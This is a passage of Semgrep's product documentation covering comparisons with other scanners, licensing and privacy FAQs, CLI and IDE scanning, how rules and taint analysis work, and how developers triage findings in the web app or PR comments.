* Extending Semgrep with custom rules is simple since Semgrep rules look like the source code youβre writing. Writing custom rules with SonarQube is [ restricted to a handful of languages](https://docs.sonarqube.org/latest/extend/adding-coding-rules/) and requires familiarity with Java and abstract syntax trees (ASTs).
* Semgrep supports user-created, rule-defined fixes; SonarQube does not.
* Semgrep focuses on speed and ease-of-use, making analysis possible at up to 20K-100K loc/sec per rule. SonarQube authors [report approximately 0.4K loc/sec for rulesets in production](https://web.archive.org/web/20221109203440/https://community.sonarsource.com/t/performance-guide-for-large-project-analysis/148/2).
* Both have publicly available rules
* Semgrep has an online, hosted free plan for up to ten contributors to private repositories; both have a hosted paid plan.
See [the Semgrep development philosophy](/contributing/semgrep-philosophy) for more about what makes Semgrep different.
# Frequently asked questions
Source: https://docs.semgrep.dev/faq/overview
## General
#### Semgrep Community Edition (CE)
Semgrep CE is a free, community-supported code scanning tool. It's perfect for individuals, security auditors, and penetration testers who need fast, one-off scans. You can use it at work, on private and proprietary code, no problem!
Semgrep CE includes:
* The Semgrep [open source engine](https://github.com/semgrep/semgrep): Governed by the [LGPL 2.1](https://tldrlegal.com/license/gnu-lesser-general-public-license-v2.1-\(lgpl-2.1\)) license
* [Semgrep-maintained Rules](https://github.com/semgrep/semgrep-rules/): Governed by the [Semgrep Rules License v. 1.0](https://semgrep.dev/legal/rules-license/)
Semgrep offers three paid products, designed for Application Security teams to use in production:
* [ Semgrep Code](https://semgrep.dev/products/semgrep-code), a static application security testing (SAST) tool that can perform taint, cross-file, and cross-function analysis.
* [ Semgrep Supply Chain](https://semgrep.dev/products/semgrep-supply-chain/), which performs dependency scanning.
* [ Semgrep Secrets](https://semgrep.dev/products/semgrep-secrets/), which can detect and validate leaked secrets in code.
#### Semgrep Rules
All Semgrep maintained rules are licensed under the [Semgrep Rules License v. 1.0](https://semgrep.dev/legal/rules-license/). The source for these rules is available at the [`semgrep/semgrep-rules` repository](https://github.com/semgrep/semgrep-rules/).
These rules can only be used for internal business purposes. These rules cannot be resold without permission from Semgrep, Inc. (βSemgrepβ). Since Semgrep offers a paid, hosted application, itβs important to have this restriction so other companies cannot resell Semgrepβs rules as a competing service.
Yes! Semgrep is safe to run on your private code. The [Semgrep Rules License v. 1.0](https://semgrep.dev/legal/rules-license/) restrictions only come into effect if you are **selling** a product using rules provided in the Semgrep Registry. If thatβs the case, contact [ partnerships@semgrep.com](mailto:partnerships@semgrep.com) to learn more.
The Semgrep Registry can import rules from sources other than the `semgrep/semgrep-rules` repository, such as [ Trail of Bits](https://github.com/trailofbits/semgrep-rules). These rules have their own licenses.
If you are a security consultant and you want to use Semgrep CE as part of your assessments, thatβs great and you donβt have to pay. Feel free to refer your clients to our [Semgrep](https://semgrep.dev/) product suite.
If your service delivers code scanning, meaning a service that includes static application security testing (SAST), software composition analysis (SCA), or secrets scanning, and you want to charge for scanning that includes rules in the [ semgrep-rules repository](https://github.com/semgrep/semgrep-rules), **you must purchase a license**.
If you want to use Semgrep Code, including its proprietary cross-file (interfile) analysis, Semgrep Supply Chain (SCA), or Semgrep Secrets rules as part of your consulting services, you need a license. Please contact us at [ partnerships@semgrep.com](mailto:partnerships@semgrep.com).
Because Semgrep CE is licensed under the GNU Lesser General Public License v2.1, you can ship your own code analysis software using Semgrep CE without an explicit license from Semgrep, Inc.
All users can contact Semgrep support. Regardless if you are a free tier or paid tier user, reach our support through the [Semgrep Community Slack](https://go.semgrep.dev/slack). Paying Semgrep Team tier customers receive 8\*5 email and Slack support with committed SLAs. See [Support](/support) for more details.
Embed a special version of Semgrep Playground with an `iframe`. The source is `https://semgrep.dev/embed/editor?snippet=` where the `snippet-id` is either the short identifier generated when you share a Playground link (this usually looks like `DzKv`) or the named identifier from a saved rule (this usually looks like `username:rule-name`).
```html theme={null}
```
Semgrep is semantic grep for code: it understands the **structure of code** and builds a syntax tree to search for matches. Where `grep "2"` only matches the exact string `2`, Semgrep matches other equivalent forms, such as [`x = 1; y = x + 1`](https://semgrep.dev/playground/s/5rKgj) when searching for `2`. Semgrep's [pattern syntax](/writing-rules/pattern-syntax/) provides specific mechanisms to fine-tune matches, such as the [ellipsis operator](/writing-rules/pattern-syntax#ellipsis-operator) and [metavariables](/writing-rules/pattern-syntax#metavariables).
See the following rule for a more complex example illustrating Semgrep features:
* It uses [typed metavariables](/writing-rules/pattern-syntax/#typed-metavariables) so it can specify the type `http.Request`.
* In the sink, the rule tracks imports down to function usage.
* In the sanitizer, it removes type aware Booleans and a string convert function.
* It leverages regex only to reduce how many patterns to write for finding dangerous functions.
See [Support for all versions of a programming language](/kb/semgrep-code/support-for-language-versions).
## Comparisons
Semgrep provides a simple syntax for writing rules: if you can write code, you can write a Semgrep ruleβno program analysis Ph. D. required!
To the Semgrep team's knowledge, the only other tool with the explicit goal of allowing custom rules is GitHubβs proprietary tool, CodeQL. CodeQL has a domain-specific language that is extremely powerful but is designed for those with significant program analysis expertise, whereas Semgrep is designed for the security engineer or developer who wants to automate code review. Our goal is to make writing a Semgrep rule as easy as copying the code you want to find and providing it to Semgrep. Then the Semgrep Engine creates the rule and provides a high-quality, Rule-defined fix that runs in CI, your text editor, or your IDE.
[Semgrep AppSec Platform](https://semgrep.dev/manage) provides a Team tier that is free for up to 10 contributors on private repositories. It offers a hosted CI integration with a quick setup so you can start running Semgrep right away.
Semgrep's diff-awareness lets you scan new code and doesnβt force you to fix all the existing issues when you first start. For users running inside organizations with many repositories, the hosted offering also offers a policy and notification system that makes it easy to tune Semgrep so that it only reports issues or suggests fixes that get applied.
Our goal is a 99% fix rate for what Semgrep reports.
#### Speedy and offline: Semgrep runs offline on every keystroke
If you are shipping code daily a code analysis tool that takes a week to run is not helpful. We think modern static analysis tools should run on every keystroke in the editor, without needing network access. Semgrep runs at approximately 20K-100K loc/sec per rule but our goal is to be even faster.
#### Semantic: Semgrep is smart
Semgrep automatically handles the nuance of βthereβs more than one way to do itβ: you write your query and all equivalent variations of that code are automatically matched.
As Semgrep evolves, queries similar to `foo("password")` become smarter. In the original version of Semgrep, this query would only match the code `foo("password")`. But a few months after release Semgrep would match `const x = "password"; foo(x)`.
Today Semgrep can [do even more with intraprocedural dataflow](https://semgrep.dev/s/50zj) analysis, and weβre working on adding more of these semantic features with every release.
#### Integrated: Semgrep understands Git
Itβs easy to write a new Semgrep rule and have it only apply *going forward*. You can [ignore findings](/ignoring-files-folders-code) of course, but we have [ built-in support for this with Semgrep AppSec Platform](https://semgrep.dev/manage) and various repository integrations.
#### Portable: If you write a Semgrep rule, it runs anywhere
Many other tools require a buildable environment or can only be run in a VM. Semgrep runs βon the metalβ and has minimal dependencies around a statically linked core; our parsers are declaratively generated C libraries (we contribute to and use [tree-sitter](https://tree-sitter.github.io)).
See [the Semgrep philosophy](/contributing/semgrep-philosophy) for further reading.
Similar to a linter, Semgrep can be run in your developer's IDE. Semgrep has three IDE extensions:
* [Visual Studio Code (VS Code)](/extensions/semgrep-vs-code)
* [IntelliJ](/extensions/semgrep-intellij)
* [ LSP support for Emacs](https://github.com/emacs-lsp/lsp-mode)
Linters use static analysis but typically have a narrower scope for analysis (most rules typically operate on a single line). Some linters also cover stylistic decisions (for example use of tabs versus spaces), but Semgrep doesnβt care about whitespace or formatting.
Semgrepβs [registry](https://semgrep.dev/explore) includes rulesets inspired by the rules of many popular linters and checkers, including ESLint, RuboCop, Bandit, and FindSecBugs. But Semgrep also allows you to enable multiple rulesets at the same time without adding linter-specific artifacts or installation to your code repository.
Some popular linter tools may use tools like Semgrep as an internal engine, and we encourage this! For instance, the popular scanner *NodeJSScan* was re-written to use Semgrep as the core.
Lastly, while many linters are extensible, you need to learn specific abstract syntax tree (AST) based patterns for writing custom rules. Semgrep works across languages and you learn its syntax once; you don't have to mess with MemberExpressions, node visitors, and all that. Before Semgrep, many of us on the maintainer team were writing AST-based rules as well: [one of us wrote an article comparing writing linter rules to Semgrep expressions](https://semgrep.dev/blog/2020/why-i-moved-to-semgrep-for-all-my-code-analysis/).
See how Semgrep compares to:
* [CodeQL](/faq/comparisons/codeql)
* [Endor Labs](/faq/comparisons/endor-labs)
* [Opengrep](/faq/comparisons/opengrep)
* [Snyk](/faq/comparisons/snyk)
* [Sonarqube](/faq/comparisons/sonarqube)
## Privacy and Security
Semgrep, Inc uses Amazon Web Services (US region) for storing customer data.
All customer data is located in AWS (US region). Amazon RDS encrypted database instances use industry-standard AES-256 encryption and TLS 1.2 or higher is used for all data-in-transit.
When Semgrep runs entirely in CI, your source code stays in the environment. Only run metadata is sent to Semgrepβs service (see the next question).
Some Semgrep features, such as Semgrep Managed Scans and Semgrep Multimodal, require code access. See [Security](/deployment/managed-scanning/overview#security) for more information on how Managed Scans use your code and Multimodal's [Data privacy and legal considerations](/semgrep-multimodal/privacy) to understand how your code is stored and retained.
[Semgrep](https://github.com/semgrep/semgrep) sends data to Semgrep AppSec Platform in accordance with the [metrics policy](/metrics).
These types of data include **scan data** and **findings data**.
* Scan data includes project name, CI environment, and scan meta-data.
* Findings data are used to provide human-readable content for notifications and integrations, as well as tracking results as new, fixed, or duplicate.
For more information and a detailed description of each data field, refer to [the relevant section in metrics.md](https://github.com/semgrep/semgrep/blob/develop/metrics.md#data-collected-when-explicitly-requested).
Semgrep makes network requests in accordance with the data storage previously mentioned.
[Semgrep](https://github.com/semgrep/semgrep) makes the following network requests:
* When running without `--disable-version-check`, Semgrep makes a network request to check for updates.
* When providing a URL to `--output`, Semgrep performs an HTTP `POST` of the results to the specified URL.
* When providing a registry ID like `p/ci` to `--config`, Semgrep requests the configuration from the [Registry](https://semgrep.dev/explore) and may send metrics in accordance with the [metrics policy](/metrics).
## Configuration
Semgrep AppSec Platform provides centralized policy management. See the [Policies documentation](/semgrep-code/policies) for more details.
A policy is a simple collection of rules and a definition of what to do with rule results: fail the Semgrep CI run and/or send non-blocking notifications to third-party services like Slack. Please see the [Policies documentation](/semgrep-code/policies) for more details.
## Monitoring
Semgrep Team users can create custom dashboards and visualizations. Semgrep also supports posting results through [webhooks](/semgrep-appsec-platform/webhooks) to any JSON endpoint, so you can easily integrate it with your favorite visualization tool.
## Privacy
Semgrep, Inc. retains findings data as long as an account remains active. Semgrep securely destroy data within **90 days of contract termination** for **Enterprise** customers.
Additionally, account owners may request data destruction at any time by contacting [Support](/support).
Not finding what you need in this doc? Ask questions in our [Community Slack group](https://go.semgrep.dev/slack), or see [Support](/support/) for other ways to get help.
# Run local CLI scans
Source: https://docs.semgrep.dev/for-developers/cli
You can run local Semgrep CLI scans with the Semgrep command-line tool.
## Prerequisites
* An existing Semgrep org account.
* Semgrep CLI tool installed in your local machine.
## Best practices
It's best to run the following command for local scans:
```bash theme={null}
semgrep ci --dry-run
```
* The command `semgrep ci` tells Semgrep to use your organization's chosen analyses and rules for the scan.
* The `--dry-run` flag ensures that your scans are not uploaded to the Semgrep web app. This is recommended because your code could be a work in progress, subject to change, whereas code uploaded as a PR or MR usually indicates the code is ready for review.
When Semgrep performs a CLI or IDE scan, it presents findings from **all rules** that your AppSec team uses. For this reason, you may encounter **more false positive or low severity findings** that you can ignore.
## Common Semgrep commands
### `semgrep scan`
The following command runs a local scan with Semgrep's open source Community Edition (CE) using pre-selected rules for a variety of languages:
```bash theme={null}
semgrep scan
```
* `semgrep scan` does not take into account your organization's settings.
* You do **not** need to be logged in to run a scan.
* It only runs lightweight SAST analyses.
* It does not run other Semgrep products, such as Secrets or Supply Chain.
**CAUTION**
* `semgrep scan` does not run the same analyses as `semgrep ci` so you may have a higher rate of false positives.
* You can run `semgrep scan --pro` to run advanced SAST analyses with no other Semgrep products.
#### Test a custom rule
You can test a custom rule by creating a test file. See [Testing rules](/writing-rules/testing-rules).
After you've tested your custom rule, you can try it on your codebase locally:
1. Ensure that you're signed in to Semgrep from the CLI by entering `semgrep login`. If you have successfully signed in, you should see **API token already exists** or a similar message.
2. Enter the following command:
```bash theme={null}
semgrep scan --pro --config [CUSTOM_RULE].yaml
```
Replace `CUSTOM_RULE.yaml` with the name of your custom rule.
### `semgrep ci`
The `semgrep ci` command, without any flags, sends the results of your scan to Semgrep AppSec Platform with the slug `local-scan/PROJECT_NAME`. When using this command in a team setting, ensure that you are aware of its risks and that your team members are aware that you're uploading the results of local scans.
# How Semgrep works
Source: https://docs.semgrep.dev/for-developers/detection
Semgrep enables you to:
* Search for code semantically
* Codify those search parameters as a **rule**
* Run the rule on every keystroke, commit, pull request, and merge
## `grep`, linters, and Semgrep
In addition to being a security tool, once customized, Semgrep can be used as a linter to help you and your team codify and follow best practices and to detect code smells.
You only need to learn a single rule-writing schema to write rules for many programming languages, rather than having to learn a new schema for each linter.
## Transparency and determinism
Semgrep is **transparent** because you can inspect the rules and analyses that are run on your code. Rules establish what should match (for example, you may want to look for and ban usages of `==` in JavaScript) and what shouldn't match. They have the following characteristics:
* Rules are written in YAML. By having a single schema for all supported programming languages, you can write rules for any programming language that Semgrep supports.
* In contrast, linters vary in customizability. Linters that let you write your own rules require you to learn that linter's rule schema, which can only be applied to that linter's programming language.
* A rule has a **confidence level** to indicate the likelihood it is a true positive.
* A rule includes a **message** to help you remediate or fix.
Semgrep is **deterministic**; given the same set of inputs, such as your code and rules, and the same analyses, Semgrep always finds the same findings.
## Speed, scope and analysis
Semgrep can perform several types of analyses on a given scope, which affects its scan speed. The following table breaks down expected runtimes in each developer interface.
| Interface | Scope of scan | Analysis | Typical speed |
| :-------------------------------------------------------------- | :------------------------------------------------------------- | :----------------------------------- | :--------------- |
| IDE (per keystroke and on save) | Current file | Single-function, single-file | In a few seconds |
| CLI on commit (through [`pre-commit`](https://pre-commit.com/)) | Files staged for commit (cross-function, single-file analysis) | Cross-function, single-file | Under 5 minutes |
| PR or MR comments | All committed files and changes in the PR or MR | Cross-function, single-file analysis | Under 5 minutes |
### Rule examples
Click the following boxes to learn about Semgrep's pattern matching mechanisms and analyses.
#### Simple syntax-based example
You may want to ban the use of `==` in JavaScript and instead require `===` to avoid **type coercion** when evaluating expressions. This is a common standard enforced in popular JavaScript linters. This is a simple find and replace in many text editors, because the ban is enforced for **all** usages of `==`. In Semgrep, you can create a rule codifying this find and replace operation to share or enforce this standard.
***Figure**. Prevent type coercion in `==`. Click ** Run** to view the findings.*
This simple rule is accurate because it only requires the syntax defined in `pattern` to match, not the semantics. The **metavariables** $A and $B always evaluate to some value on the left and right hand side of the `==` operator, and that is all that matters, not the meaning or of $A and $B themselves.
**METAVARIABLES**
[Metavariables](/writing-rules/pattern-syntax#metavariables) are an abstraction to match code when you donβt know the value or contents ahead of time, similar to capture groups in regular expressions.
#### Complex syntax-based example
It is a common convention either to ban all uses of some language feature in user-facing code, such as `console.log()`, or to permit `console.log()` internally but not externally.
Semgrep enables you to create a custom best practices set of rules around cases like this.
***Figure**. Ban `console.log` in external-facing functions. Click ** Run** to view the findings.*
Notice that only **line 4** matches. This is because only line 4 has a `console.log()` function within `someExternalFunction()`.
This example defines both what matches within the external-facing function, and the external-facing function itself. This is achieved through the use of `pattern` and `pattern-inside`. The `...` **ellipsis** operator tells Semgrep to accept any number of arguments or values in `someExternalFunction()` and `console.log()`, thus capturing all possible variations of the functions.
#### Semantic taint analysis example
A more complex example is detecting if **unsanitized data** is flowing from some **source**, such as saved form data, to a **sink**, without sanitization.
The following example is a simplified Semgrep rule that detects possible cross-site scripting vulnerabilities:
***Figure**. Prevent possible cases of cross-site scripting due to unsanitized data. Click ** Run** to view the findings.*
In this example, **lines 11 and 18** are the only two true positives.
* **Line 7** is not a match because `hash` has been sanitized through `sanitize(hash)`.
* **Line 9** stores the hash as a number, and the rule has defined this as a sanitizer as well.
Semgrep defines the `pattern-sources`, `pattern-sinks`, and `pattern-sanitizers` to make sure that the rule is accurate and contains no false positives or false negatives by including every possible way this type of XSS can occur and **excluding** those cases where the data has been sanitized.
# Run IDE scans
Source: https://docs.semgrep.dev/for-developers/ide
Semgrep supports the following IDE extensions:
| Name | Marketplace link | Documentation |
| :----------------------------------------------------------- | :------------------------------------------------------------------------------------------------------------------------------- | :--------------------------------------------------------- |
| Microsoft Visual Studio Code | `semgrep-vscode` | [Semgrep VS Code extension](/extensions/semgrep-vs-code) |
| IntelliJ Ultimate Idea and many other IntelliJ products | `semgrep-intellij` | [Semgrep IntelliJ extension](/extensions/semgrep-intellij) |
| Emacs | `lsp-mode` | See repository README |
## Quickstart
Select your IDE in the following tabs and follow the instructions to set up your first Semgrep IDE scan.
For Microsoft VS Code users:
[Install the Semgrep extension](https://code.visualstudio.com/editor/extension-marketplace#_install-an-extension). If you're unfamiliar with installing VS Code extensions, see the Extension Marketplace's article [Install an Extension](https://code.visualstudio.com/editor/extension-marketplace#_install-an-extension).
Use Ctrl+β§Shift+P or βCommand+β§Shift+P (macOS) to launch the Command Palette, and run the following to sign in to Semgrep AppSec Platform:
```text theme={null}
Semgrep: Sign in
```
You can use the extension without signing in, but doing so enables better results since you benefit from [Semgrep Code](/semgrep-code/overview) and its [Pro rules](/semgrep-code/pro-rules).
Launch the Command Palette using Ctrl+β§Shift+P or βCommand+β§Shift+P (macOS), and scan your files by running:
```text theme={null}
Semgrep: Scan all files in workspace
```
To see detailed vulnerability information, hover over the code underlined in yellow. You can also see the findings identified by Semgrep using β§Shift+Ctrl+M or βCommand+β§Shift+M (macOS) and opening the **Problems** tab.
For JetBrains IntelliJ users:
Install the Semgrep extension:
* Visit [ Semgrep's page on the JetBrains Marketplace](https://plugins.jetbrains.com/plugin/22622-semgrep).
* In IntelliJ: **Settings/Preferences > Plugins > Marketplace > Search for `semgrep-intellij` > Install**. You may need to restart IntelliJ for the Semgrep extension to be installed.
Sign in: Press Ctrl+β§Shift+A (Windows) or βCommand+β§Shift+A (macOS) and sign in to Semgrep AppSec Platform by selecting the following command:
```text theme={null}
Sign in with Semgrep
```
Test the extension by pressing Ctrl+β§Shift+A (Windows) or βCommand+β§Shift+A (macOS) and run the following command:
```text theme={null}
Scan workspace with Semgrep
```
See Semgrep findings: Hold the pointer over the code that has the red underline.
**FEATURE MATURITY**
Semgrep's IntelliJ extensions are currently in beta. Currently, the IntelliJ extension only supports Semgrep Community Edition (CE) - it doesn't support Semgrep Supply Chain, Secrets, Pro rules, or Pro Engine. Please join the [Semgrep community Slack workspace](https://go.semgrep.dev/slack) and let the Semgrep team know if you encounter any issues.
## Scan scope and limitations
Semgrep's VS Code extension supports the use of Pro rules and cross-file analysis. Other IDE scans use Semgrep Community Edition (CE) for its speed, and these scans are limited to single-file analysis. As a result, you may encounter a higher rate of false positives.
# Semgrep for developers
Source: https://docs.semgrep.dev/for-developers/overview
This guide is for developers who are using Semgrep in a team or organizational setting.
Use Semgrep to:
* Triage security issues
* Follow best practices set by your organization
* Automate code reviews among your peers
* Lint your code
This document provides an overview of how developers work with Semgrep to resolve the issues it detects.
**DEVELOPER AND APPSEC ROLES**
If you are a developer responsible for your **own** security program in personal projects, see the [Quickstart](/getting-started/quickstart) and [Core deployment](/deployment/core-deployment) documentation.
## Semgrep AppSec Platform
Semgrep AppSec Platform, or simply **Semgrep**, is a software suite for implementing and tracking security programs.
**AppSec engineers** use Semgrep to detect, triage, and remediate findings across an entire organization's codebases.
**Developers** primarily interact with Semgrep when Semgrep scans a project, then notifies users of issues in their code. Issues detected by Semgrep are called **findings**. The pattern-matching logic by which Semgrep detects a finding is encapsulated in a **rule**. Semgrep performs various static analyses to detect bugs, vulnerabilities in dependencies, and leaked secrets.
## How developers use Semgrep
Your interactions with Semgrep vary depending on your organization's deployment of it.
Semgrep is almost always integrated into your CI and source code manager (SCM) and automatically runs on every pull request or merge request you open. These scans are **diff-aware** and only affect the scope of your PR, which keeps the scan speed fast. Your security engineer may configure Semgrep to display PR or MR comments about certain **blocking** or **non-blocking** findings to you, which you can resolve or ignore from within your SCM.
It is less frequent, but still common, for developers to run Semgrep as part of their day-to-day coding workflow in the following environments:
* IDEs (VS Code and IntelliJ)
* CLI, including `pre-commit`
Your AppSec team is likely to have guidelines about Semgrep scans in these environments.
**NOISE IN YOUR PULL REQUESTS OR MERGE REQUESTS?**
Your security engineers are in full control of what findings are displayed to you. If you notice a high rate of false positives, tell your security engineers so that they can tune your scans.
## Semgrep findings in your PR or MR
Semgrep findings are typically posted in your PR or MR. The following image displays the parts of a Semgrep PR comment in GitHub; this example appears in a similar form in GitLab and other SCMs:
**A - Block indicator**
This appears if a finding fails the CI job. Organizations typically block PRs or MRs with failed jobs.
**B - Finding description**
A human-written description always appears in a PR or MR comment, describing why your code is flagged. References may also be included to help you learn more about the finding.
**C - Dataflow graph**
Some Code findings have a dataflow graph, which indicates that the finding was detected through %%taint analysis|taint\_analysis%%. The dataflow graph provides the lines of code identifying sources, sinks, and traces of unsanitized data flowing through your program. You can click the links on the boxes to take you to the lines of code.
**D - Resolution or remediation section**
Various options are provided to help your resolve the finding. Depending on the type of finding, resolution options may vary.
**E - Ignore instructions**
Click to view instructions about how to ignore the finding by replying to the comment.
### Type of findings by resolution
**Code finding**
This type of finding is typically resolved by refactoring your code. This finding typically catches bugs, security issues, or violations of best practices.
**Dependency finding**
Semgrep found that you're using a vulnerable version of a dependency. It can also detect if you're using the vulnerable function or code of the dependency.
**License finding**
Semgrep has found that you're using a dependency with a license that may violate the guidelines set by your organization.
**Secrets finding**
Semgrep has detected a leaked secret. Rotate the secret to resolve this finding.
# Resolve findings through Semgrep AppSec Platform
Source: https://docs.semgrep.dev/for-developers/resolve-findings-through-app
This guide explains how you can view and triage findings in bulk through the Semgrep AppSec Platform web app.
**CAUTION**
* Not all organizations allow developers to use Semgrep AppSec Platform; ask your security team if you have access.
* When triaging through Semgrep AppSec Platform, developers typically triage findings specific to their **branch**. Avoid triaging findings in branches that are not yours to triage.
## Prerequisites
You must have an existing Semgrep org account. See [Sign in to Semgrep](/for-developers/signin).
## Ignore findings in bulk
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Click **Code** for SAST findings, **Secrets** for secrets findings, or **Supply Chain** for SCA findings. You are taken to a page with all the findings for that product.
Click on **Projects and branches**, then click the ** drop-down arrow** to view open branches, which is listed by its unique ID. For example, GitHub branches are represented by their PR number.
Click your branch. This filters the displayed findings to those specific to your PR or MR.
Click the findings you want to triage, then click **Triage**.
In the drop-down box, select a new **Status**, typically **Ignored**.
Optional: include a comment as to why you ignored a finding.
## Appendix: triage statuses
| Status | Description |
| :------------------------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Open** | Findings are open by default. A finding is open if it was present the last time Semgrep scanned the code and has not been ignored. An open finding represents a match between the code and a rule enabled in the repository. Open findings require action, such as rewriting the code to eliminate the detected vulnerability. |
| **Reviewing** | Indicates that the finding requires investigation to determine what the next steps in the triage process should be. |
| **Provisionally ignored** | Rule-based Semgrep Code findings that Semgrep Multimodal's [Autotriage](/semgrep-multimodal/overview#autotriage) has flagged as likely false positives. You can change the status to **Ignored** if you agree with Multimodal's assessment. Otherwise, you can change the status to **To fix** if you disagree.
**Note**: [AI-powered detection](/semgrep-code/ai-powered-detection-concepts) findings remain **Open** even when Multimodal flags them as false positives. They are **not** automatically set to **Provisionally ignored**; change the status to **Ignored** if you want to dismiss them. |
| **To fix** | Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work. |
| **Fixed** | Fixed findings were detected in a previous scan but are no longer detected in the most recent scan of that same branch due to changes in the code. |
| **Ignored** | Findings marked as ignored are present in the code but have been labeled unimportant. Ignore false positives or deprioritized issues. Mark findings as [ignored through Semgrep AppSec Platform](/semgrep-code/triage-remediation) or by adding a [nosemgrep code comment](/ignoring-files-folders-code/#reference-summary). You can also provide a reason for ignoring a finding: **False positive**, **Acceptable risk**, **No time to fix**. |
| **Closed** | Vulnerabilities that are no longer detected after a scan. This can be due to changes in the underlying rule or the code. |
### Removed findings
Findings can also be **removed**. Semgrep considers a finding removed if it is not found in the most recent scan of the branch where Semgrep initially detected it due to any of the following conditions:
* The rule that detected the finding isn't enabled in the policy anymore.
* The rule that detected the finding was updated in a way that it no longer detects the finding.
* The file path where the finding appeared is no longer found. The file path was deleted, renamed, added to a `.semgrepignore` file, added to a `.gitignore` file, or added to the list of ignored paths in Semgrep AppSec Platform.
* For GitHub organization accounts: the pull request or merge request where the finding was detected has been closed without merging.
Your removed findings do not count toward the fix rate or the number of findings. The removed findings also do not appear in Semgrep AppSec Platform.
### Triage behavior across refs and branches
* When you triage a finding as ignored, reviewing, fixing, or reopened, Semgrep always triages across other branches and [Git references](https://git-scm.com/book/en/v2/Git-Internals-Git-References) (refs).
* At scan time, there's automatic triaging that occurs in specific cases, and the behavior changes depending on the type of scan:
* **Full scans**: if the current branch includes a finding that was
* Previously introduced in another branch ***and***
* Triaged to a specific state
**Then** the finding in the current branch is triaged to that same state.
* **Diff-aware scan**: findings introduced in a diff-aware scan are **not** automatically triaged at scan time, even if there are other instances of that finding on branches that have been triaged.
# Resolve findings in your pull request or merge request
Source: https://docs.semgrep.dev/for-developers/resolve-findings-through-comments
Findings resolution involves the assessment of a finding, then either fixing or ignoring it. You can fix or triage findings from your source code manager (SCM); fixing or triaging (ignoring) does **not** require a Semgrep AppSec Platform account.
Findings are primarily presented to developers through **pull request (PR) or merge request (MR) comments**. These findings are generated from rules that your AppSec team has vetted or approved.
Findings from these rules are meant to be **fixed** or **remediated** rather than ignored unless the finding is a false positive.
In **typical coding workflows**, it is recommended to fix or ignore findings as part of your **code review** process; the results of triage or remediation in your SCM are synchronized with Semgrep AppSec Platform.
However, if you have accumulated many findings to ignore, it may be faster to perform bulk triage actions in Semgrep AppSec Platform. See [Resolve findings through the Semgrep web app](/for-developers/resolve-findings-through-app).
## Prerequisites and optional features
* The procedures described in this guide rely on PR or MR comments. Ensure that your security team has enabled this feature.
* To receive AI-assisted remediation, your security team must enable the **Semgrep Multimodal** feature.
Your SCM is the most common environment in which to fix findings. Semgrep provides several features to help you fix findings quickly.
## Parts of a PR or MR comment
Semgrep findings are typically posted in your PR or MR. The following image displays the parts of a Semgrep PR comment in GitHub; this example appears in a similar form in GitLab and other SCMs:
**A - Block indicator**
This appears if a finding fails the CI job. Organizations typically block PRs or MRs with failed jobs.
**B - Finding description**
A human-written description always appears in a PR or MR comment, describing why your code is flagged. References may also be included to help you learn more about the finding.
**C - Dataflow graph**
Some Code findings have a dataflow graph, which indicates that the finding was detected through %%taint analysis|taint\_analysis%%. The dataflow graph provides the lines of code identifying sources, sinks, and traces of unsanitized data flowing through your program. You can click the links on the boxes to take you to the lines of code.
**D - Resolution or remediation section**
Various options are provided to help you resolve the finding. Depending on the type of finding, resolution options may vary.
**E - Ignore instructions**
Click to view instructions about how to ignore the finding by replying to the comment.
## Resolve findings
Different types of findings require different remediations. The following sections describe how Semgrep can help you resolve a finding.
### Rule-defined fix
Some Semgrep Code findings include a [Rule-defined fix](/writing-rules/rule-defined-fix): a human-written code change defined in the rule. When available, the fix appears in your pull request or merge request comment as a **Commit suggestion** you can apply directly. This is the fastest way to fix a finding inline during code review.
All Semgrep-supported SCMs provide this feature when the rule includes a fix.
**INFO**
If a line of code contains several findings, Semgrep does not provide the **Commit suggestion** feature to prevent fixes from conflicting.
### Semgrep Multimodal remediations
Semgrep Multimodal provides the following AI-powered security recommendations:
* Step-by-step [remediation guidance](/semgrep-multimodal/overview#guidance) in PR or MR comments.
* "Safe to ignore" suggestions.
## Ignore findings
If the finding is a false positive, acceptable risk, or similar, you can choose to ignore the finding. You can ignore findings directly from your SCM by **replying** to the finding comment.
1. Find an open comment created by Semgrep AppSec Platform in your pull request or merge request:
2. In a subsequent comment, reply with the action you want to take. You must provide a **reason** to help the reader understand why the finding has been triaged as **ignored**:
| Comment | Description |
| ------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------- |
| /fp \ | Triage a finding as **Ignored** with the triage reason **false positive**. |
| /ar \ | Triage a finding as **Ignored** with the triage reason **acceptable risk**. |
| /other \ | Triage a finding as **Ignored** without specifying the reason; the triage reason value is set to **No triage reason**. |
| /open \ | Reopen a finding that has been triaged as **Ignored**. The comment is optional. |
## Re-run a job or workflow
Resolving or ignoring findings does not automatically re-run Semgrep checks. After resolving or triaging the findings in your PR or MR, you must re-run the Semgrep job or workflow. See the following list for a link to your CI provider's documentation:
* [ Re-run a job in GitHub Actions](https://docs.github.com/en/actions/managing-workflow-runs-and-deployments/managing-workflow-runs/re-running-workflows-and-jobs)
* [ View pipelines in GitLab CI/CD](https://docs.gitlab.com/ee/ci/pipelines/#view-pipelines)
* [ View your pipeline in Bitbucket Pipelines](https://support.atlassian.com/bitbucket-cloud/view-your-pipeline/#Viewyourpipeline-CI_RerunStep)
* [ Re-run a single stage in Azure DevOps](https://learn.microsoft.com/en-us/azure/devops/release-notes/2024/pipelines/sprint-235-update)
* [ Restarting or rerunning a pipeline in Jenkins](https://www.jenkins.io/doc/book/pipeline/running-pipelines/#restarting-or-rerunning-a-pipeline)
* [ Re-run a job in CircleCI](https://circleci.com/rerun-failed-tests/)
* [ **Retry a job**](https://buildkite.com/resources/changelog/231-retry-failed-jobs-while-builds-are-running/) from the [**Dashboard > Build view**](https://buildkite.com/pipelines/dashboard-walkthrough) in Buildkite.
* [ Re-run a Semgrep Managed Scan check](/kb/semgrep-appsec-platform/rerun-managed-scans)
## Appendix: triage statuses
| Status | Description |
| :------------------------ | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
